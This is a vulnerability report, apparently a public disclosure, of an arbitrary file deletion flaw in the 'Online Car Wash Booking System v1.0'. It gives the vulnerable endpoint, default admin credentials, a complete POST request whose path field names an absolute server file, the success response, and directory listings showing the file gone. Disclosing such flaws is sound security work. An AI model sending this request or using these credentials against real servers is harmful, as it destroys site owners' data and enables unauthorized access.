

main

...

bug_report / vendors / oretnom23 / online-car-wash-booking-system / delete-file-1.md



debug601 Create delete-file-1.md

History

1 contributor

42 lines (29 sloc) | 1.65 KB

...

Online Car Wash Booking System v1.0 by oretnom23 has Delete any file

vendors: <https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html>

Vulnerability File: /ocwbs/classes/Master.php?f=delete_img

Vulnerability location: /ocwbs/classes/Master.php?f=delete_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shel.php file in the root directory

```
POST /ocwbs/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/admin/?page=system_info
Content-Length: 46
Cookie: PHPSESSID=qr1o26kvu55cqitadqht6jna5
Connection: close

path=C%3A%2Fxampp%2Fhtdocs%2Focwbs%2Fshell.php

At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file



本地磁盘 (C:) \ xampp \ htdocs \ ocwbs				
共享 新建文件夹				
名称	修改日期	类型	大小	
admin	2022/5/19 11:50	文件夹		
assets	2022/5/19 11:50	文件夹		
booking	2022/5/19 11:50	文件夹		
build	2022/5/19 11:50	文件夹		
classes	2022/5/19 11:50	文件夹		
database	2022/5/19 11:50	文件夹		
dist	2022/5/19 11:50	文件夹		
inc	2022/5/19 11:50	文件夹		
libs	2022/5/19 11:50	文件夹		
plugins	2022/5/19 11:51	文件夹		
services	2022/5/19 11:50	文件夹		
uploads	2022/5/19 14:09	文件夹		
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB	
_index.html	2021/6/21 13:16	HTML 文档	16 KB	
404.html	2021/3/19 13:17	HTML 文档	1 KB	
about.html	2022/5/19 14:10	HTML 文档	5 KB	
about.php	2021/6/22 8:48	PHP 文件	1 KB	
config.php	2022/2/17 12:03	PHP 文件	2 KB	
home.php	2022/4/13 10:26	PHP 文件	5 KB	
index.php	2022/2/17 15:04	PHP 文件	3 KB	
initialize.php	2022/5/19 11:50	PHP 文件	1 KB	
shell.php	2022/5/19 21:41	PHP 文件	1 KB	

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

```
POST /ocwbs/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded;
charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/admin/?page=system_info
Content-Length: 46
Cookie: PHPSESSID=qr1o26kvu55cqitadqht6jna5
Connection: close
```

path=C%3A%2Fxampp%2Fhtdocs%2Focwbs%2Fshell.php

```
HTTP/1.1 200 OK
Date: Thu, 19 May 2022 06:06:49 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}
```

By this time, shell.php has been deleted.

本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ ocwbs ▾

共享 ▾ 新建文件夹

名称 ▲	修改日期	类型	大小
admin	2022/5/19 11:50	文件夹	
assets	2022/5/19 11:50	文件夹	
booking	2022/5/19 11:50	文件夹	
build	2022/5/19 11:50	文件夹	
classes	2022/5/19 11:50	文件夹	
database	2022/5/19 11:50	文件夹	
dist	2022/5/19 11:50	文件夹	
inc	2022/5/19 11:50	文件夹	
libs	2022/5/19 11:50	文件夹	
plugins	2022/5/19 11:51	文件夹	
services	2022/5/19 11:50	文件夹	
uploads	2022/5/19 14:09	文件夹	
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB
_index.html	2021/6/21 13:16	HTML 文档	16 KB
404.html	2021/3/19 13:17	HTML 文档	1 KB
about.html	2022/5/19 14:10	HTML 文档	5 KB
about.php	2021/6/22 8:48	PHP 文件	1 KB
config.php	2022/2/17 12:03	PHP 文件	2 KB
home.php	2022/4/13 10:26	PHP 文件	5 KB
index.php	2022/2/17 15:04	PHP 文件	3 KB
initialize.php	2022/5/19 11:50	PHP 文件	1 KB